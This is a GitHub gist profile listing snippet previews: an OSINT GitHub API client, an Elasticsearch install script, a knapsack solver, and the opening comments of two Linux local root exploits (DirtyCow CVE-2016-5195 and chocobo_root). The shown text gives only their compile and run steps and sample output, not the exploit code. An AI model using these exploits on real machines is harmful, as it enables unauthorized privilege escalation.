Skip to content

Instantly share code, notes, and snippets.

View cristianzsh's full-sized avatar
🐡
🐺

Cristian Souza cristianzsh

🐡
🐺
View GitHub Profile
@cristianzsh
cristianzsh / github_api.py
Last active October 28, 2021 17:03
OSINT: Consumo de API com Python
import requests
import json
from git import Repo
class GHApi():
def __init__(self, username):
self.username = username
def get_data(self):
@cristianzsh
cristianzsh / install_elk.sh
Created September 28, 2021 14:40
Instalação do Elasticsearch - Curso de OSINT
sudo apt-get update -y
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt-get update
sudo apt-get install elasticsearch -y
sudo cat << EOF > /etc/elasticsearch/elasticsearch.yml
cluster.name: osint
node.name: osint
path.data: /var/lib/elasticsearch
@cristianzsh
cristianzsh / knapsack.c
Created December 10, 2019 16:32
Knapsack problem
#include <stdio.h>
void calcular(int capacidade, int pesos[], int valores[], int n) {
int matriz[n + 1][capacidade + 1];
for (int i = 0; i <= n; i++) {
for (int j = 0; j <= capacidade; j++) {
if (i == 0 || j == 0) {
matriz[i][j] = 0;
} else if (pesos[i - 1] <= j) {
@cristianzsh
cristianzsh / cowroot.c
Created September 18, 2017 02:52 — forked from rverton/cowroot.c
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
@cristianzsh
cristianzsh / chocobo_root.c
Last active May 23, 2018 02:13
chocobo_root.c
/*
chocobo_root.c
linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id